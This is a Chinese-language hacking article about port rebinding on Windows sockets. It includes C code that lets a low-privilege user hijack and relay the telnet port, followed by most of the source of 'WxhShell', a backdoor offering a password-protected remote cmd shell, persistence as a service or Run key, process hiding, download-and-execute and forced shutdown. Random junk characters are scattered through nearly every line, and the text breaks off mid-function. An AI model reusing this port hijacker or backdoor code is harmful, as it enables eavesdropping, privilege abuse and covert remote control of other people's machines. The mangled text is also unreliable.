在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&WXY 'A= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
P27%xV-n> T[k4lM saddr.sin_family = AF_INET;
C;AA/4Ib _s,ao'/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
wo2@hav ukgAI<O% bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
zHWSE7! D8{D[fJ; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
o 6 {\Zzp p]D]:
Z}P 这意味着什么?意味着可以进行如下的攻击:
Op.8a`XLt& Gz
I~TWc+G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
vq*Q.0 M+ VO3pm6r5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5F+APz7 K`}{0@ilCw 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%Kh4m7 8rZ!ia! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
CF!Sa 6 <E;pgw! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_3iHkQr #H [Bb2(j 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
zo{/'BnU EqiFy"H 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
O-vGyNxP| sML=5=otx #include
=d
2 r6%v #include
MfF~8 #include
#$~ba%t9% #include
_i_Q?w` DWORD WINAPI ClientThread(LPVOID lpParam);
->z54 T
int main()
# M, 7 {
)"(] Lf's WORD wVersionRequested;
|rw%FM{F DWORD ret;
N(6|yZ<J3M WSADATA wsaData;
mM.*b@d- BOOL val;
!2\ r LN SOCKADDR_IN saddr;
gyHHoZc3 SOCKADDR_IN scaddr;
:nHKl
int err;
/StTb, SOCKET s;
})xp%<` SOCKET sc;
p=GWq(S6 int caddsize;
TQX)?^Ft HANDLE mt;
B3m_D"? DWORD tid;
b2(RpY2Y wVersionRequested = MAKEWORD( 2, 2 );
a?}
.Fs err = WSAStartup( wVersionRequested, &wsaData );
zIC;7 5# if ( err != 0 ) {
E9\vA*a printf("error!WSAStartup failed!\n");
'# NcZy return -1;
e<7.y#L }
YG:3Fhx0~ saddr.sin_family = AF_INET;
M$4k; e"]8T}, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
W/z7"# 'X).y1' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
0<"k8
k@J saddr.sin_port = htons(23);
{%)s.5Pfw if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[%~
:@m {
I3 =#@2 printf("error!socket failed!\n");
X5fmz%VK@ return -1;
vzzE-(\\e }
RpG+>"1] val = TRUE;
JTqDr //SO_REUSEADDR选项就是可以实现端口重绑定的
_iKq~\v2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
HD,xY4q&N {
c$S{^IQ printf("error!setsockopt failed!\n");
cEW0;\$ return -1;
Ng><n} }
h2z_,`iS7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
dG QG!l+> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
eg<bi@C1| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\}6;Kf}\ %98' @$:0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&wd;EGGT!q {
]Y6cwZOe ret=GetLastError();
-m'j]1 printf("error!bind failed!\n");
^2d!*W| return -1;
AT2v!mNyCw }
K/m3 listen(s,2);
VUTacA Y>L while(1)
/-zXM;h {
hc
(e$## caddsize = sizeof(scaddr);
nMDxH$O //接受连接请求
rWys'uc sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<9ig?{' if(sc!=INVALID_SOCKET)
CO-_ea U( {
GWsE; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
rqv))Zo` if(mt==NULL)
)m6M9eC {
@uo ~nF j, printf("Thread Creat Failed!\n");
V$0dtvGvH break;
-yxOBq }
5tJ,7Y' }
kP#e((f, CloseHandle(mt);
R(.}C)q3 }
9[!,c`pw closesocket(s);
$,I q;*7N WSACleanup();
qQ\Y/}F return 0;
%6Q4yk }
3X9b2RY*L/ DWORD WINAPI ClientThread(LPVOID lpParam)
6cqP2!~ {
bNT9 H`P SOCKET ss = (SOCKET)lpParam;
5tQ1fJze SOCKET sc;
aKU*j9A?;Z unsigned char buf[4096];
Q
4CjA3 SOCKADDR_IN saddr;
]# t6Jwk long num;
gVeEdo`$< DWORD val;
4'W '}o|{ DWORD ret;
Z,BC* //如果是隐藏端口应用的话,可以在此处加一些判断
HW&%T7
a //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&DqE{bBd! saddr.sin_family = AF_INET;
dd2[yKC` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
OY[e.N
t& saddr.sin_port = htons(23);
Cs2;z:O] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?!qY,9lhH {
wf,7== printf("error!socket failed!\n");
fEB7j-t return -1;
yA{W }
b~dIk5>O val = 100;
9nu3+.&P if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J0zn- {
+C7 ~b~ % ret = GetLastError();
H>r!i4l return -1;
3_JCU05H} }
TW !&p"Us+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hdTzCfeZ5@ {
%;#^l+UB ret = GetLastError();
}b 1cLchl return -1;
/0\
mx4u }
G0E121`h if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
,C3,TkA] {
~>9_(L printf("error!socket connect failed!\n");
q2HYiH^L closesocket(sc);
Q)"A-"y closesocket(ss);
&.TTJsKG h return -1;
U%0Ty|$Y }
cqxVAzb while(1)
UH7jP#W%= {
8[6o ( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y
qtKy //如果是嗅探内容的话,可以再此处进行内容分析和记录
o1nURJ! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
(8_\^jJ num = recv(ss,buf,4096,0);
8p[)MiC5W^ if(num>0)
Vh>Z,()>>@ send(sc,buf,num,0);
1CLL%\V else if(num==0)
5nbEf9& break;
{Ay"bjZh num = recv(sc,buf,4096,0);
26CS6(sn if(num>0)
6(PM'@i send(ss,buf,num,0);
@{Gncy| else if(num==0)
E7-@&=]v break;
\"hJCP?, }
A!^q
J# closesocket(ss);
V|\7')Qq closesocket(sc);
qZ@s#UiB return 0 ;
w3jO6*_ M }
yCCrK@{oo r(gXoq_w F5S@I; ==========================================================
4&l10fR5 uwlr9nB 下边附上一个代码,,WXhSHELL
iiK]l Sna4wkbS ==========================================================
Haqm^Ky$ >:lnt /N3 #include "stdafx.h"
e}1uz3Rh ^pHq66d%Z #include <stdio.h>
s+>:,U<A #include <string.h>
n]he-NHP #include <windows.h>
qWw\_S #include <winsock2.h>
tBpC: SG #include <winsvc.h>
-_$$Te #include <urlmon.h>
=-p$jXVW% 7g_]mG[6 #pragma comment (lib, "Ws2_32.lib")
P;4w*((} ~ #pragma comment (lib, "urlmon.lib")
w&ak"GgV w3$ #define MAX_USER 100 // 最大客户端连接数
b+Br=Fv"T #define BUF_SOCK 200 // sock buffer
qe5feky #define KEY_BUFF 255 // 输入 buffer
J=/5}u_gw *2jK#9"MP #define REBOOT 0 // 重启
:%IoM E #define SHUTDOWN 1 // 关机
6-O_\Cq8 bJs9X/E #define DEF_PORT 5000 // 监听端口
@B}aN@!/ ,a#EW+" Z #define REG_LEN 16 // 注册表键长度
JchSMc.9 #define SVC_LEN 80 // NT服务名长度
0wS+++n$5 K(aJi,e> // 从dll定义API
L@fY$Rw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Q|@4bz i) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Sfdu`MQR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*g^x*|f6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,i@X'<;y !W?gR.0$= // wxhshell配置信息
Kv~U6_=1O struct WSCFG {
XC+A_"w) int ws_port; // 监听端口
S{3nM< char ws_passstr[REG_LEN]; // 口令
JfPD}w int ws_autoins; // 安装标记, 1=yes 0=no
-IV]U*4 char ws_regname[REG_LEN]; // 注册表键名
++E3]X| char ws_svcname[REG_LEN]; // 服务名
Z@r.pRr'
char ws_svcdisp[SVC_LEN]; // 服务显示名
vx4+QQYP char ws_svcdesc[SVC_LEN]; // 服务描述信息
mkR2i> char ws_passmsg[SVC_LEN]; // 密码输入提示信息
G z)NwD int ws_downexe; // 下载执行标记, 1=yes 0=no
Po%(~ )S> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\QB;Ja_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
O+ICol t%8d-+$ };
c%qv9 C`q@X(_ // default Wxhshell configuration
,cqF3 struct WSCFG wscfg={DEF_PORT,
Q$fmD "xuhuanlingzhe",
g&{9VK6. 1,
=z8f]/k*> "Wxhshell",
rXHv`ky "Wxhshell",
[<KM?\"1< "WxhShell Service",
yDGVrc' "Wrsky Windows CmdShell Service",
GAAm0; "Please Input Your Password: ",
)rixMl &[ 1,
edPUG
N "
http://www.wrsky.com/wxhshell.exe",
H$6`{lx, "Wxhshell.exe"
r
hfb ftw };
0Zg%+)iy@ '}9JCJ // 消息定义模块
//aF5:Y# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Gw1@KKg char *msg_ws_prompt="\n\r? for help\n\r#>";
:Lz\yARpk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
F;>!&[h}G char *msg_ws_ext="\n\rExit.";
."Y
e\>k char *msg_ws_end="\n\rQuit.";
bwl|0"f+` char *msg_ws_boot="\n\rReboot...";
gmm.{%1_I; char *msg_ws_poff="\n\rShutdown...";
vI@%Fg+D char *msg_ws_down="\n\rSave to ";
wiBVuj# FJd]D[h char *msg_ws_err="\n\rErr!";
qcT'nZ:
char *msg_ws_ok="\n\rOK!";
,#8e_3Z$ 3*@5S]] char ExeFile[MAX_PATH];
^urDoB: int nUser = 0;
bAx?&$ HANDLE handles[MAX_USER];
`HBf&Z int OsIsNt;
}RP@!= d \35a4l SERVICE_STATUS serviceStatus;
!Xph_SQ!B= SERVICE_STATUS_HANDLE hServiceStatusHandle;
dc rSz4E|> )Qvk*9OS // 函数声明
CJ++?hB]X int Install(void);
28=O03q int Uninstall(void);
w[ ~#av9 int DownloadFile(char *sURL, SOCKET wsh);
6VhjJJ int Boot(int flag);
y
TDNNK void HideProc(void);
Kde9
$ int GetOsVer(void);
3@]SKfoo1 int Wxhshell(SOCKET wsl);
/g4f`$a void TalkWithClient(void *cs);
aT`%;i^ int CmdShell(SOCKET sock);
&%/7E_j7 int StartFromService(void);
b2FO$Os int StartWxhshell(LPSTR lpCmdLine);
_H/8_[xk ?)#5X_V-q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
RZCq {|L
VOID WINAPI NTServiceHandler( DWORD fdwControl );
SZXY/~=h pn^ d]rou? // 数据结构和表定义
G2FXrkU SERVICE_TABLE_ENTRY DispatchTable[] =
J^g!++|2P {
dYgXtl=#j {wscfg.ws_svcname, NTServiceMain},
T|6a("RL {NULL, NULL}
>_LDMs[-p };
Tq4-wE+ =*LS%WI // 自我安装
%x}
O1yV int Install(void)
n9xAPB } {
)<Hd T char svExeFile[MAX_PATH];
s
S7c! HKEY key;
J:\|Nc? strcpy(svExeFile,ExeFile);
[r[=W! d09k5$=gJ // 如果是win9x系统,修改注册表设为自启动
$-*!pRaVU if(!OsIsNt) {
Y"wUt & if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j ku}QM^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
g"> {9YE RegCloseKey(key);
`FC( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HC}YY2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*VZ5B<Ic RegCloseKey(key);
2Roc|)-47 return 0;
Kp,M"Y }
aT$9; }
Xqm::1(-( }
(/j); oSK else {
W!&vul5 Jtk|w[4L // 如果是NT以上系统,安装为系统服务
aX }P|l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|x-S&- if (schSCManager!=0)
Mwr"~?\\ {
HF.^ysI SC_HANDLE schService = CreateService
82DmG@"s2 (
({=gw9f schSCManager,
;/rXQe1 wscfg.ws_svcname,
PxS8 n?y wscfg.ws_svcdisp,
!dC<4qZ\C SERVICE_ALL_ACCESS,
x3"#POp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|1>*;\o- SERVICE_AUTO_START,
JC3m.)/ SERVICE_ERROR_NORMAL,
>L
0_ dvr svExeFile,
1OF&
* NULL,
E3iW-B8u8 NULL,
A`}rqhU.{- NULL,
^:Gie NULL,
\<)9?M : NULL
4zo5}L`Y );
iS<I0\D if (schService!=0)
MEGv} {
*^wm1|5 CloseServiceHandle(schService);
IDG}ZlG CloseServiceHandle(schSCManager);
McQe1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1cD! :[ strcat(svExeFile,wscfg.ws_svcname);
2FW\O0U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
oczN5YSt RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`6xkf&Kt RegCloseKey(key);
`u&Zrdr, return 0;
gjAIEI }
ZXuv CI }
%GS(:]{n CloseServiceHandle(schSCManager);
#: [<iSk }
Ch3jxgQY }
9
o&`5 rq/I` : return 1;
L');!/: }
:d#VE-e y;o^- O // 自我卸载
&Ob!4+v/GP int Uninstall(void)
.ODR ]7{ {
q*7VqB HKEY key;
5w@4:$=I c>)Yt^q&K if(!OsIsNt) {
d >t<_} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<U\B!fO' RegDeleteValue(key,wscfg.ws_regname);
gY8>6'~mS RegCloseKey(key);
@("a.;1#o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
p$3sME$L RegDeleteValue(key,wscfg.ws_regname);
_ "VkGG RegCloseKey(key);
hK,Sf ;5V return 0;
pj?f?.^ }
Xn%pNxUL }
L>RP-x> }
]h
%Wiw else {
u2?|Ue@[ z3;*Em8Ir SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
_zwG\I|Q if (schSCManager!=0)
h9G RI {
MfWyc_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(j3xAA if (schService!=0)
YS *9t
Q{ {
N<-gI9_ if(DeleteService(schService)!=0) {
j4R(B CloseServiceHandle(schService);
5X:*/FuS@ CloseServiceHandle(schSCManager);
xM&Wgei]10 return 0;
8;+B*+%@n }
#kaY0M CloseServiceHandle(schService);
@dPTk"P }
K8UP,f2 CloseServiceHandle(schSCManager);
|='z{WS }
z-.+x3&o @ }
1NgCw\ 9vvx*rD return 1;
YLzx<~E4a }
l)&X$3? tz ''\Ov // 从指定url下载文件
s pp f int DownloadFile(char *sURL, SOCKET wsh)
~2QR{; XQ {
O4V.11FnW HRESULT hr;
KQg]0y
d char seps[]= "/";
t~#zMUfac char *token;
mSb#Nn6W char *file;
Ke2ccN char myURL[MAX_PATH];
\Yc'~2n char myFILE[MAX_PATH];
0,89H4 V#S9H!hm$ strcpy(myURL,sURL);
\(^nSy&N token=strtok(myURL,seps);
5a|w+HO, while(token!=NULL)
8)10o,#L {
rFj-kojg file=token;
vPTM token=strtok(NULL,seps);
|w<H!lGe!$ }
2;DuHO1 G?;e-OhV GetCurrentDirectory(MAX_PATH,myFILE);
f-`)^5E strcat(myFILE, "\\");
6MT1$7|P&x strcat(myFILE, file);
Z:sg} send(wsh,myFILE,strlen(myFILE),0);
YH\OFg@7 send(wsh,"...",3,0);
:?g:~+hfO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$',K7%y if(hr==S_OK)
z4jR[x, return 0;
lrIS{MJ+- else
&)AVzN+*h return 1;
zGAq-< _0]S69lp }
#/Vh|UeX PE3vQH=t~ // 系统电源模块
W"}M1o int Boot(int flag)
~nh:s|l6%M {
pxCK;] HANDLE hToken;
S/e2P|} TOKEN_PRIVILEGES tkp;
C(#u[8 pu
7{a if(OsIsNt) {
0;AA/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?&63#B,iZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/tf5Bv'< tkp.PrivilegeCount = 1;
CzRc%%BA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
hog=ut AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8o'_`{ba if(flag==REBOOT) {
:+z4~%
jA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
l0PZ`m+;j return 0;
;h*K }U }
`Nb[G)Xh else {
XkXHGDEf 1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
T>2[=J8U return 0;
B"TAjB&
* }
P(,p'I;j }
DVB{2~7 4 else {
-ZRO@&tMD if(flag==REBOOT) {
N343qU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Py@wJEo return 0;
OZ
|IA:,} }
qUob?|
^ else {
P3)Nl^/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
X\@C.H2ttY return 0;
YkniiB[/ }
w35J.zn }
]+XYEv xp}hev^@$ return 1;
2(u,SQ }
G IT>L tG9BfGF // win9x进程隐藏模块
<UV1!2nv* void HideProc(void)
E[@ u
3i8 {
$RIecv<e_ t\{'F7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`_` QxM if ( hKernel != NULL )
`.FF!P:{C* {
M^r1S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[<g?WPCcC ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
.<x&IJ / FreeLibrary(hKernel);
gv)P]{%^ }
lOuHVa*} \{Z;:,S return;
>*#1ZB_l }
1 u| wMO ?'@8kpb // 获取操作系统版本
5q;GIw^L int GetOsVer(void)
T92UeG {
X(]WVCu OSVERSIONINFO winfo;
_wkVwPr winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
|)b6>.^ GetVersionEx(&winfo);
%l}D. ml if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f]`#J%P return 1;
&,c``z else
}z _ return 0;
"$ Y_UJT7 }
jkiFLtB@V <acUKfpY // 客户端句柄模块
xLNtIzx int Wxhshell(SOCKET wsl)
tD(7^GuR {
+cgSC5nR SOCKET wsh;
RrX[|GLSJ struct sockaddr_in client;
2ORNi,_I DWORD myID;
<lw`
3aa( j9?}j#@ while(nUser<MAX_USER)
EQb7-vhg {
3DiLk=\~ int nSize=sizeof(client);
wQP^WzNE wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
e vrXo"3 if(wsh==INVALID_SOCKET) return 1;
[SHXJ4P* %k-3?%&8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?Z Rs\+{vG if(handles[nUser]==0)
OGde00 closesocket(wsh);
~$:|VHl else
&x[E;P*Fg nUser++;
}!"A! ~& }
P&9Gga^I WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(l-tvk4Ln M)'HCnvs' return 0;
)6,de2Pb }
uC+V6; y .#")IAF // 关闭 socket
dv8>[# void CloseIt(SOCKET wsh)
U3T#6Rptl {
cC=[Saatsf closesocket(wsh);
Xu<k3oD7 nUser--;
f&eK|7J_Yf ExitThread(0);
WG6FQAo^8 }
W-x?:X<} @ezH'y-v // 客户端请求句柄
\m7-rV6r void TalkWithClient(void *cs)
Qy^1*j<@& {
4L ;% h WHsgjvh" SOCKET wsh=(SOCKET)cs;
E*.{=W }C char pwd[SVC_LEN];
e,F1Xi#d char cmd[KEY_BUFF];
k9:{9wW char chr[1];
y.e^h RKb int i,j;
SB1upTn @.b+av4J while (nUser < MAX_USER) {
A+::O@_s %_+2@\ if(wscfg.ws_passstr) {
M9V
q
-U18 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
rR9|6l
3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
mef<=5t //ZeroMemory(pwd,KEY_BUFF);
[5zx17' i=0;
T&%ux=Jt while(i<SVC_LEN) {
,sA[)wP { G;v8$)Zj // 设置超时
#33fGmd[ fd_set FdRead;
r"``QmM struct timeval TimeOut;
%X4xv_o`f FD_ZERO(&FdRead);
WF1px % FD_SET(wsh,&FdRead);
8P^ITL z% TimeOut.tv_sec=8;
aGJC1x TimeOut.tv_usec=0;
lG4H:[5V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
tw^,G( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:`-,Lbg u.mJQDTH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<KE 1f7c pwd
=chr[0]; @y='^DQ*
if(chr[0]==0xd || chr[0]==0xa) { 9:ze{ c $
pwd=0; LQtj~c>X-|
break; MHh~vy'HB5
} Wc,~ {
i++; w.H%R-Be
} OUeyklw
RIb4!!',c
// 如果是非法用户,关闭 socket )-0kb~;|
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $nb[G$
} 3a?o3=
p[hZ@f(z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b%<9Sn
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D B-l$rj
lDOCmdt@N
while(1) { :p]'32FA!
gCioq.
ZeroMemory(cmd,KEY_BUFF); 4SlADvGl
: YXX8|>
// 自动支持客户端 telnet标准 AG!w4Ky`
j=0; Cnbz=z
while(j<KEY_BUFF) { ^cczJOxB
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^aH\7J@Y
cmd[j]=chr[0]; P%{^ i]
if(chr[0]==0xa || chr[0]==0xd) { b~'"^ Bts*
cmd[j]=0; V,q](bg
break; Pa{%\dsv
} BFL`!^
j++; JHz
[ 7
} pQshUm"_
R]OpQ[k
// 下载文件 )z&/_E=
if(strstr(cmd,"http://")) { '+osf'&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /LO-HnJ
if(DownloadFile(cmd,wsh)) o
Z%9_$Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H
*[_cqnv
else D+>4AqG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o$w_Es]Ma
} Q$HG
else { `Jzp Sw
@&X|5p"[g
switch(cmd[0]) { -7S g62THS
Ezr:1 GJ
// 帮助 /lo2y?CS*
case '?': { UD8op]>L
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xZ6~Ma2z
break; vH#huZA?7
} g=;%
// 安装 |2abmuR0
case 'i': { W}5xmz
if(Install()) kL$!E9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B?4boF?~
else xL{a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vU767/
break; 95YL]3V
} %]>KvoA
// 卸载
/% M/
case 'r': { @^T1XX
if(Uninstall()) _~piZmkG$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nHm}zOLc
else "tB;^jhRs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OU8Lldt
break; Wzw7tLY._
} rd9e \%A
// 显示 wxhshell 所在路径 =K6($|'=
case 'p': { XzIl`eH
char svExeFile[MAX_PATH]; *.!Np9l,V
strcpy(svExeFile,"\n\r"); Fxm$9(Y
strcat(svExeFile,ExeFile); 1UE6 4Kl:S
send(wsh,svExeFile,strlen(svExeFile),0); dYL"h.x
break; (+B5|_xQu
} =>M^02"
// 重启 S"xKL{5
case 'b': { R:#k%}W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nPye,"A Ol
if(Boot(REBOOT)) CitDm1DXt/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _NMm/]mN /
else { oZ!m
closesocket(wsh); 6"~P/\jP
ExitThread(0); F;+|sMrq
} @ Wd9I;hWv
break; *T5!{
} w]]8dz
// 关机 UPG9)aF
case 'd': { .
koYHq
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \'|>p/5I
if(Boot(SHUTDOWN)) mGJasn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i(>4wK!!
else { ^-,xE>3o
closesocket(wsh); y#q?A,C@n
ExitThread(0); Pmh8sw
} }Q=!Y>Tc
break; R)mu2^
} ,M^ P!
// 获取shell l]8D7(g
case 's': { m+lvl
CmdShell(wsh); UE$UR#T'w
closesocket(wsh); Q0&H#xgt
ExitThread(0); cVv;Jn
break; yF"1#{*y
} =y0C1LD+
// 退出 ~v6OsH%vx
case 'x': { =Ur}~w&H8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aB7+Tb
CloseIt(wsh); ][?G/*k
break; Ry%Mej:
} .6`9H 1
// 离开 bdQ_?S(
case 'q': { PfC!lI
BU
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m<j8cJ(
closesocket(wsh);
">y%iE
WSACleanup(); [Pq}p0cD
exit(1); |MFF7z{%
break; a2
Y;xe
} o]; [R
} L$IQuy
} L5
veX}
%*`J k#W:
// 提示信息 UrYZ`J
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QlO0qbG[y
} RPE5K:P
} il:$sd
E )5E$
return; =jX8.K4]
} 1:f9J
Z|5?7v;h5
// shell模块句柄 }M3fmAP}
int CmdShell(SOCKET sock) Z;:u'=
{ }^/9G17
STARTUPINFO si; c@/(B:@
ZeroMemory(&si,sizeof(si)); ni<A3OB
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E}40oID
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /4`
0?/V
PROCESS_INFORMATION ProcessInfo; YwZ
Z{+n
char cmdline[]="cmd"; ^(|vsFzn
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `"&da#N]
return 0; h $L/<3oP6
} ;uwRyd
]cGA~d
// 自身启动模式 A7%:05
int StartFromService(void) t4-pM1]1_
{ f"u%J/e &
typedef struct W!6qqi{
{ 11<KpxKpk
DWORD ExitStatus; Bh=u|8yxc
DWORD PebBaseAddress; {
T-'t/0e(
DWORD AffinityMask; Gcig*5
DWORD BasePriority; BbgnqzU
